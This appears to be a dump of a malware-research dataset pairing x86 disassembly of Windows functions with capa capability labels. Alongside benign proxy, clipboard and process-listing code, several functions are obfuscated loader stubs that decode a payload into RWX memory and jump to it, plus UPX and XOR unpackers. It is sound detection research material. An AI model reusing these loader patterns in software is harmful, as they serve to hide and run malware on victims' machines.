joyce8/EMBER2024-capa huggingface dataset:
Function at 0x416231
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
push edi
xor edi, edi
xor ebx, ebx
cmp dword [ebp + 8], edi
mov dword [ebp - 4], edi
je 0x416281
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SetFocus]
push 0x409
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetDlgItem]
push edi
push edi
push 0xba
push eax
mov dword [ebp + 8], eax
call esi
mov ebx, eax
cmp ebx, 1
jne 0x416287
xor ebx, ebx
jmp 0x416287
mov eax, dword [eax + 4]
mov dword [ebp + 8], eax
mov edi, 0x400
test ebx, ebx
je 0x4162ba
lea eax, [ebp - 0x408]
dec ebx
push eax
push ebx
push 0xc4
mov word [ebp - 0x408], di
push dword [ebp + 8]
call esi
cmp eax, edi
jle 0x4162b0
mov eax, edi
and byte [ebp + eax - 0x408], 0
jmp 0x4162c9
lea eax, [ebp - 0x408]
push eax
push edi
push 0xd
push dword [ebp + 8]
call esi
cmp byte [ebp - 0x408], 0
je 0x41631c
lea eax, [ebp - 0x408]
push eax
push 0
call fcn.00407023
pop ecx
mov dword [ebp - 4], eax
test eax, eax
pop ecx
jne 0x416300
push 0xffff
push str.Proxy_already_in_list
push dword [ebp + 0xc]
call fcn.00406961
add esp, 0xc
jmp 0x41631c
or dword [eax], 2
lea ecx, [ebp - 0x408]
push 1
push ecx
push eax
push dword [ebp + 0xc]
call fcn.00406691
add esp, 0x10
test eax, eax
je 0x416325
test ebx, ebx
jle 0x416329
jmp 0x41628c
xor eax, eax
jmp 0x416347
cmp dword [ebp - 4], 0
je 0x416344
push 0xff00
push str._Proxy_item_added...
push dword [ebp + 0xc]
call fcn.00406961
add esp, 0xc
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41935b
Capabilities:
Create thread

Disassembly:
push edi
mov edi, 0x4000
push dword [0x4281f4]
push edi
push 0x4193ba
call sub.MSVCRT.dll__beginthread
add esp, 0xc
cmp dword [0x428220], 0
je 0x4193b8
test byte [0x4283d1], 8
je 0x4193b8
push esi
push 6
call fcn.00405987
call fcn.0040ca05
push 6
mov esi, eax
call fcn.0040599f
pop ecx
pop ecx
test esi, esi
pop esi
je 0x4193b8
push dword [0x428220]
push edi
push 0x4193c8
call sub.MSVCRT.dll__beginthread
add esp, 0xc
pop edi
ret
Function at 0x41a3c7
Capabilities:
Resolve dns

Disassembly:
push edi
mov edi, dword [esp + 0xc]
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x41a443
push str.local.ptron
push edi
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x41a3f1
mov eax, 0x100007f
pop edi
ret
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x41a405
mov eax, dword [eax + 0xc]
pop edi
mov eax, dword [eax]
mov eax, dword [eax]
ret
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x41a440
push 0x424d40
push esi
call fcn.0041d2f3
push str.400_Host_Not_Found_r_n
push esi
call fcn.0041d2f3
push str.Content_type:_text_html_r_nConnection:_close_r_n_r_n
push esi
call fcn.0041d2f3
push 0
push edi
push str._span_classerr1_Host_Name_Lookup_Failed__span__p__nThe_Proxomitron_couldnt_find_the_site_named..._br__n_span_classerr2___s___span__br__nCheck_that_the_name_is_correct._If_so__the_site_may_have_changed_or_nmay_no_longer_exist._n
push esi
call fcn.0041ad5f
add esp, 0x28
xor eax, eax
pop esi
pop edi
ret
Function at 0x41c871
Capabilities:
Create process on windows

Disassembly:
push dword [esp + 8]
call fcn.00404b0c
pop ecx
xor eax, eax
push 1
push eax
push eax
push dword [esp + 0x14]
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, dword [esp + 4]
push 1
mov eax, dword [eax + 4]
mov dword [eax + 0x18], 1
pop eax
ret

Function at 0x41c9e3
Capabilities:
Check if file exists
Get file attributes
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44c
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x44c]
push 0x400
push eax
push dword [esi + 0xc]
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x44c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41ca1e
and byte [ebp - 0x44c], 0
lea eax, [ebp - 0x4c]
push eax
push dword [esi + 8]
call fcn.004048ba
lea eax, [ebp - 0x44c]
pop ecx
mov dword [ebp - 0x30], eax
pop ecx
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x40], str.Program_Files
push eax
mov dword [ebp - 0x2c], 0x400
mov dword [ebp - 0x1c], str.Choose_a_program_to_run_automatically
mov dword [ebp - 0x10], 0x426f08
call sub.comdlg32.dll_GetOpenFileNameA
test eax, eax
je 0x41ca80
lea eax, [ebp - 0x44c]
push eax
push dword [esi + 0xc]
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0
push 1
push 0xb9
push dword [esi + 0xc]
call dword [sym.imp.USER32.dll_SendMessageA]
xor eax, eax
pop esi
leave
ret
Function at 0x41dd6c
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edx, 0xaaaaaaaa
mov eax, dword [eax + 0x1c]
movsx ecx, word [eax + 0x30]
mov esi, dword [eax + 0x14]
mov edi, ecx
dec ecx
test edi, edi
je 0x41dd9c
inc ecx
mov edi, edx
shr edi, 0x1d
shl edx, 3
or edi, edx
movsx edx, byte [esi]
xor edx, edi
inc esi
dec ecx
jne 0x41dd89
movsx eax, word [eax + 0x3a]
pop edi
add eax, edx
pop esi
ret

Function at 0x41e556
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov ebx, dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [esi + 0x10]
lea ecx, [edi + edi*2]
mov ecx, dword [eax + ecx*4]
mov dword [ebp + 8], ecx
mov ecx, dword [esi + 0xc]
test ecx, ecx
jl 0x41e585
lea ecx, [ecx + ecx*2]
push 0
push dword [eax + ecx*4]
call ebx
push 5
push dword [ebp + 8]
call ebx
push 1
mov dword [esi + 0xc], edi
pop eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x42dc20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1f000]
push edi
or ebp, 0xffffffff
jmp 0x42dc42
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x42dc49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x42dc38
mov eax, 1
add ebx, ebx
jne 0x42dc5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x42dc50
jne 0x42dc6c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42dc50
xor ecx, ecx
sub eax, 3
jb 0x42dc80
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42dcf2
mov ebp, eax
add ebx, ebx
jne 0x42dc8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x42dc98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x42dcbc
inc ecx
add ebx, ebx
jne 0x42dca8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x42dc9d
jne 0x42dcb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42dc9d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x42dcdc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x42dccd
jmp 0x42dc3e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x42dcdc
add edi, ecx
jmp 0x42dc3e
pop esi
mov edi, esi
mov ecx, 0x664
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x42dcfa
cmp byte [edi], 5
jne 0x42dcfa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x42dcff
lea edi, [esi + 0x2b000]
mov eax, dword [edi]
or eax, eax
je 0x42dd77
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2f230]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2f30c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x42dd2c
mov ecx, edi
jns 0x42dd5b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2f310]
or eax, eax
je 0x42dd71
mov dword [ebx], eax
add ebx, 4
jmp 0x42dd49
call dword [esi + 0x2f314]
popal
jmp 0x40ddc6
Function at 0x1001347b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x1001348a
pop dword [ebp - 0x10]
mov eax, 0x1001348a
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x6546998d
add dword [ebp - 0x20], 0xe90babbe
mov dword [ebp - 0x1c], 0x6dffda9
sub dword [ebp - 0x1c], 0xd4acb164
mov dword [ebp - 0x18], 0x17a43fbb
add dword [ebp - 0x18], 0x34a80473
mov dword [ebp - 0x14], 0xbc04d753
add dword [ebp - 0x14], 0x43fb28ad
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x9805b38b
sub dword [ebp - 0x20], 0x23934a35
mov dword [ebp - 0x1c], 0xf5993e2f
sub dword [ebp - 0x1c], 0xb42cdcba
mov dword [ebp - 0x18], 0xacf56ce8
add dword [ebp - 0x18], 0xb679ff84
mov dword [ebp - 0x14], 0x3443572f
add dword [ebp - 0x14], 0xcbbca8d1
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0xcc33f559
sub eax, 0xbc31f559
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3ddd7
push 0
call eax
mov ecx, 0xaa6a5ecd
sub ecx, 0xaa6a1281
xor esi, esi
add esi, eax
mov edi, 0xdbaec1d3
sub edi, 0xcbac05d3
add edi, dword [ebp - 0x10]
mov edx, 0xe30d8647
add edx, 0xc00cba04
sub dword [ebp - 0xc], ecx
mov ebx, dword [edi]
xor dword [ebp - 0xc], esi
add ebx, edx
xor dword [ebp - 0xc], 0xe00fc993
mov dword [esi], ebx
add esi, 0x6631490a
sub esi, 0x66314906
add edi, 0x9738825b
sub edi, 0x97388257
loop 0x100135a4
add eax, 0x5a1b17b5
add eax, 0xa5e60c4e
xor ebx, ebx
add ebx, eax
add eax, 0x1d41db86
add eax, 0xe2be247f
mov ecx, 0x4eae5554
sub ecx, 0x3eae5554
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x407e17
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebx
push edi
mov edi, ecx
push edi
call dword [sym.imp.kernel32.dll_lstrlenW]
push 0
mov ebx, eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x407e86
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
lea ebx, [ebx*2 + 2]
push ebx
push 0x2002
call dword [sym.imp.kernel32.dll_GlobalAlloc]
mov esi, eax
push esi
call dword [sym.imp.kernel32.dll_GlobalLock]
test eax, eax
je 0x407e62
push ebx
push edi
push eax
call fcn.0040ba60
add esp, 0xc
push esi
call dword [sym.imp.kernel32.dll_GlobalUnlock]
push esi
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
test eax, eax
jne 0x407e7d
push esi
call dword [sym.imp.kernel32.dll_GlobalFree]
pop esi
pop edi
pop ebx
jmp dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop ebx
ret

Function at 0x413f76
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x413f85
pop dword [ebp - 0x18]
mov eax, 0xab5910aa
sub eax, 0xab17d125
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x3b5a4
push 0
mov eax, 0xbbeb53b1
sub eax, 0xbba97185
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0xfa98f9a9
sub ecx, 0xfa98bb2b
xor edi, edi
add edi, eax
mov edx, 0x381ec996
add edx, 0xc824e86a
add edx, dword [ebp - 0x18]
mov esi, 0xd9f7364e
sub dword [ebp - 8], edi
mov ebx, dword [edx]
mov dword [ebp - 0x10], 0x43a6e29d
xor ebx, esi
mov dword [edi], ebx
xor dword [ebp - 0xc], 0xdab689a4
add edi, 0x791e8a64
sub edi, 0x791e8a60
add edx, 4
loop 0x413fe0
add eax, 0x1d6726
sub eax, 0x1c7a5b
xor ebx, ebx
add ebx, eax
add eax, 0x53a28efe
sub eax, 0x53a28ef9
mov ecx, 0x35055f3b
add ecx, 0xcb3aa0c5
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x4c4e80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x82000]
push edi
jmp 0x4c4e9a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4c4ea1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c4e90
mov eax, 1
add ebx, ebx
jne 0x4c4eb3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4c4ec4
jne 0x4c4ee3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c4ee3
dec eax
add ebx, ebx
jne 0x4c4ed0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4c4ea8
add ebx, ebx
jne 0x4c4edf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4c4f35
xor ecx, ecx
sub eax, 3
jb 0x4c4efb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4c4f6a
sar eax, 1
mov ebp, eax
jmp 0x4c4f06
add ebx, ebx
jne 0x4c4f06
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c4ed4
inc ecx
add ebx, ebx
jne 0x4c4f14
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c4ed4
add ebx, ebx
jne 0x4c4f21
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4c4f16
jne 0x4c4f32
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4c4f16
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4c4f54
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4c4f46
jmp 0x4c4e96
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4c4f54
add edi, ecx
jmp 0x4c4e96
pop esi
mov edi, esi
mov ecx, 0x379b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4c4f72
cmp byte [edi], 0x13
jne 0x4c4f72
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4c4f77
lea edi, [esi + 0xc0000]
mov eax, dword [edi]
or eax, eax
je 0x4c4fef
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd7ee8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd803c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4c4fa4
mov ecx, edi
jns 0x4c4fd3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xd8040]
or eax, eax
je 0x4c4fe9
mov dword [ebx], eax
add ebx, 4
jmp 0x4c4fc1
call dword [esi + 0xd8050]
mov ebp, dword [esi + 0xd8044]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4c5023
sub esp, 0xffffff80
jmp 0x4165c1
Function at 0x40c470
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x9000]
push edi
or ebp, 0xffffffff
jmp 0x40c492
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40c499
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40c488
mov eax, 1
add ebx, ebx
jne 0x40c4ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40c4a0
jne 0x40c4bc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40c4a0
xor ecx, ecx
sub eax, 3
jb 0x40c4d0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40c542
mov ebp, eax
add ebx, ebx
jne 0x40c4db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40c4e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40c50c
inc ecx
add ebx, ebx
jne 0x40c4f8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40c4ed
jne 0x40c509
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40c4ed
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40c52c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40c51d
jmp 0x40c48e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40c52c
add edi, ecx
jmp 0x40c48e
pop esi
mov edi, esi
mov ecx, 4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40c54a
cmp byte [edi], 1
jne 0x40c54a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x40c54f
lea edi, [esi + 0xa000]
mov eax, dword [edi]
or eax, eax
je 0x40c5c7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd70c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd748]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40c57c
mov ecx, edi
jns 0x40c5ab
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xd74c]
or eax, eax
je 0x40c5c1
mov dword [ebx], eax
add ebx, 4
jmp 0x40c599
call dword [esi + 0xd750]
popal
jmp 0x401128

Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x45ba33bf
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0xaea7310
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x10005a45
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10004828]
jne 0x10005e2f
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x10007ad0], eax
mov dword [0x10007acc], ecx
mov dword [0x10007ac8], edx
mov dword [0x10007ac4], ebx
mov dword [0x10007ac0], esi
mov dword [0x10007abc], edi
mov word [0x10007ae8], ss
mov word [0x10007adc], cs
mov word [0x10007ab8], ds
mov word [0x10007ab4], es
mov word [0x10007ab0], fs
mov word [0x10007aac], gs
pushfd
pop dword [0x10007ae0]
mov eax, dword [ebp]
mov dword [0x10007ad4], eax
mov eax, dword [ebp + 4]
mov dword [0x10007ad8], eax
lea eax, [ebp + 8]
mov dword [0x10007ae4], eax
mov eax, dword [ebp - 0x320]
mov dword [0x10007a20], 0x10001
mov eax, dword [0x10007ad8]
mov dword [0x100079d4], eax
mov dword [0x100079c8], 0xc0000409
mov dword [0x100079cc], 1
mov eax, dword [0x10004828]
mov dword [ebp - 0x328], eax
mov eax, dword [0x1000717c]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x10007a18], eax
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x10004838
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x10007a18], 0
jne 0x10005f1b
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret

Function at 0x10005aa0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x10005aaf
pop dword [ebp - 0x10]
mov eax, 0xdefdd6da
sub eax, 0xcefd7c2b
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xcdba7493
sub dword [ebp - 0x20], 0x7f682f48
mov dword [ebp - 0x1c], 0x14749a35
add dword [ebp - 0x1c], 0x1dbeb210
mov dword [ebp - 0x18], 0xe4cd1c64
sub dword [ebp - 0x18], 0x9880d836
mov dword [ebp - 0x14], 0x351a5fee
add dword [ebp - 0x14], 0xcae5a012
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xa2689af9
sub dword [ebp - 0x20], 0x2df631a3
mov dword [ebp - 0x1c], 0x55636f5c
add dword [ebp - 0x1c], 0xec08f219
mov dword [ebp - 0x18], 0x3537de73
sub dword [ebp - 0x18], 0xd1c87207
mov dword [ebp - 0x14], 0xd131cd71
sub dword [ebp - 0x14], 0xd131cd71
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0xa8067b32
add eax, 0x67f99586
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3769b
push 0
call eax
mov ecx, 0x5ce19508
sub ecx, 0x5ce14a14
xor edx, edx
add edx, eax
mov ebx, 0xa7a9eace
sub ebx, 0x97a956ce
add ebx, dword [ebp - 0x10]
mov edi, 0x10510979
sub edi, 0x880cbff5
sub dword [ebp - 4], 0x5b2a32b3
mov esi, dword [ebx]
add dword [ebp - 8], 0x3a08d266
sub esi, edi
xor dword [ebp - 4], 0xbde11fe1
mov dword [edx], esi
mov dword [ebp - 4], 0x7ec87bfa
add edx, 0x53685164
add edx, 0xac97aea0
add ebx, 0xf86981fc
add ebx, 0x7967e08
loop 0x10005bce
add eax, 0xe2849ced
add eax, 0x1d7c81b6
xor ebx, ebx
add ebx, eax
add eax, 0x5a50d56f
add eax, 0xa5af2a96
mov ecx, 0x690d9539
sub ecx, 0x590d9539
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x1000a6a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10011dac], 0
push esi
push edi
jne 0x1000a61a
call fcn.1000a586
test eax, eax
je 0x1000a65f
mov eax, dword [0x10011dac]
cmp eax, 1
jne 0x1000a63b
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x1000a65f
jmp 0x1000a6a1
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x1000a6a1
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1000a663
xor eax, eax
jmp 0x1000a6a1
mov eax, dword [esi]
push dword [0x10011dac]
call edi
mov edi, eax
test edi, edi
je 0x1000a685
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x1000a6a1
lea edi, [esi + 0xff0]
push esi
push dword [0x10011dac]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x1000a68b
mov eax, esi
pop edi
pop esi
ret
jmp 0x1000a606

Function at 0x1000a812
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10011c4c]
jne 0x1000a81c
repz ret
jmp fcn.1000b021

Function at 0x1000b422
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x1000b431
pop dword [ebp - 0x40]
mov eax, 0x2a96423d
sub eax, 0x1a958e0c
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x37994
push 0
mov eax, 0x5b8d24ef
sub eax, 0x4b8c63df
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0x499d
xor edi, edi
add edi, eax
mov ebx, 0x1001c600
add ebx, dword [ebp - 0x40]
mov esi, 0x7c1a9f2d
add esi, 0xd89456df
add dword [ebp - 0x38], 0xd1359d90
mov edx, dword [ebx]
sub dword [ebp - 0x10], ebx
add edx, esi
xor dword [ebp - 0x18], 0x718fcde7
mov dword [edi], edx
xor dword [ebp - 8], 0x55eb143d
add edi, 0x74b19b61
sub edi, 0x74b19b5d
add ebx, 4
loop 0x1000b486
add eax, 0x51582061
add eax, 0xaea8f8e6
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x100129ec
Capabilities:
Enumerate processes

Disassembly:
push 0x238
mov eax, 0x1002cef1
call fcn.10014f28
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x10012a09
xor eax, eax
jmp 0x10012adf
xor edi, edi
push edi
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x10012add
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x23c], 0x22c
push eax
push esi
call sub.kernel32.dll_Process32FirstW
jmp 0x10012ab3
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x244]
call fcn.100125e1
push ebx
lea ecx, [ebp - 0x240]
mov dword [ebp - 4], edi
call fcn.100125e1
lea ecx, [ebp - 0x244]
mov byte [ebp - 4], 1
call fcn.10012b61
lea ecx, [ebp - 0x240]
call fcn.10012b61
push dword [ebp - 0x244]
lea ecx, [ebp - 0x240]
call main
mov ecx, dword [ebp - 0x240]
lea ecx, [ecx - 0x10]
test eax, eax
je 0x10012abd
call fcn.10012c52
mov ecx, dword [ebp - 0x244]
or dword [ebp - 4], 0xffffffff
lea ecx, [ecx - 0x10]
call fcn.10012c52
lea eax, [ebp - 0x23c]
push eax
push esi
call sub.kernel32.dll_Process32NextW
test eax, eax
jne 0x10012a36
jmp 0x10012ad6
mov edi, dword [ebp - 0x234]
call fcn.10012c52
mov ecx, dword [ebp - 0x244]
add ecx, 0xfffffff0
call fcn.10012c52
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
call fcn.10014ed2
ret

Function at 0x10023535
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x10023544
pop dword [ebp - 0x18]
mov eax, 0xdbf5012d
sub eax, 0xcbf2cbe9
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x40892
push 0
mov eax, 0x3ff5fad7
sub eax, 0x2ff309eb
add eax, dword [ebp - 0x18]
call dword [eax]
